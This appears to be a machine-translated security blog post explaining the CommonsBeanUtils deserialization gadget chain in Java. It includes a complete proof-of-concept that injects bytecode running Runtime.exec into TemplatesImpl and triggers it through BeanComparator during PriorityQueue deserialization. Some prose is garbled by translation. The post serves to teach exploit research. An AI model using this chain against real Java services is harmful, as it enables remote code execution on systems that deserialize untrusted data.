CommonsBeanUtils deserialization

My blog is about to be synchronized to Tencent cloud + community. I invite you to join me: https://cloud.tencent.com/developer/support-plan?invite_code=g3z1bctpoyvz

CommonsBeanUtils deserialization

In the CC2 chain, it is mainly through to Java util. PriorityQueue object passed in malicious Java util. Comparator object, resulting in the execution of malicious Java. Net in the deserialization process of PriorityQueue util. compare method of comparator.

And Java util. Comparator is actually an interface. What we passed in CC2 is its inheritance class: transforming comparator. Is there any other Java that can cause deserialization attack besides transforming comparator util. What about comparator implementation objects?

Learn about the functions of Apache Commons BeanUtils

In addition to collections, there is BeanUtils under the Apache Commons toolset, which is mainly used to manipulate Java beans.

Take an example of manipulating Java beans related to deserialization attacks.

Here's an example of p cattle.

final public class Cat {
    private String name = "catalina";

    public String getName() {
        System.out.println("123");
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

Then we execute

PropertyUtils.getProperty(new Cat(), "name");

This method will call the getter method of the relevant attributes of the target class, that is, the getName method in the Cat class, so the output results are as follows

BeanUtils and TemplatesImpl

Through the above description, we know how BeanUtils calls the getter method of a property of the target class.

In TemplatesImpl, there are the following chains: TemplatesImpl#newtransformer() - > TemplatesImpl#gettransletinstance() - > TemplatesImpl#definetransletclasses() - > transfletclassloader#defineclass() - > malicious class initialization

At the same time, the following method TemplatesImpl#getOutputProperties() exists in TemplatesImpl

We can find that it calls newTransformer and is a getter method, so we can find a way to call this method with the PropertyUtils#getProperty of BeanUtils to open the TemplatesImpl chain and execute malicious bytecode.

BeanUtils exists in the following package: org apache. commons. beanutils. Bean comparator, which inherits from Java util. Comparator interface, so the compare method is implemented:

If you pass in two objects, this If property is not empty, propertyutils will be called on two objects respectively Getproperty to trigger its corresponding getter method.

We can create a class called beancomputer.properties by means of reflection, and then we can change it into a class called beancomputer.properties util. PriorityQueue, in Java util. When PriorityQueue is deserialized, it will automatically call BeanComparator#compare. At this time, try to change the object passed into this method into malicious TemplatesImpl to make propertyutils Getproperty triggers the getter method getOutputProperties to achieve the effect of malicious bytecode execution.

It's certain to feel Abstract just to say. The following is the code directly. Most of the content coincides with CC2, so the description of the overlapping part is omitted.

Poc

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;

public class Main {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        //cc.writeFile();
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};


        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", targetByteCodes);
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_class", null);

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

        setFieldValue(comparator, "property", "outputProperties"); //Modify the property of the comparator to execute getOutputProperties in the compare method
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        setFieldValue(queue, "size", 2);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

Call chain

ObjectInputStream.readObject()
        PriorityQueue#readObject()
        PriorityQueue#heapify()
        PriorityQueue#siftDown()
        PriorityQueue#siftDownUsingComparator()
                BeanComparator#compare()
                      PropertyUtils#getProperty()
                              TemplatesImpl.newTransformer()
                              TemplatesImpl.getTransletInstance()
                                  EvilClass.newInstance()

summary

Add Java util. The Comparator in PriorityQueue is set to BeanComparator, so that the getProperty method is invoked in BeanComparator#compare, thus calling TemplatesImpl#getOutputProperties and triggering TemplatesImpl. Malicious instantiation of bytecodes bytecode.

Added by zdzislaw on Sat, 19 Feb 2022 10:02:47 +0200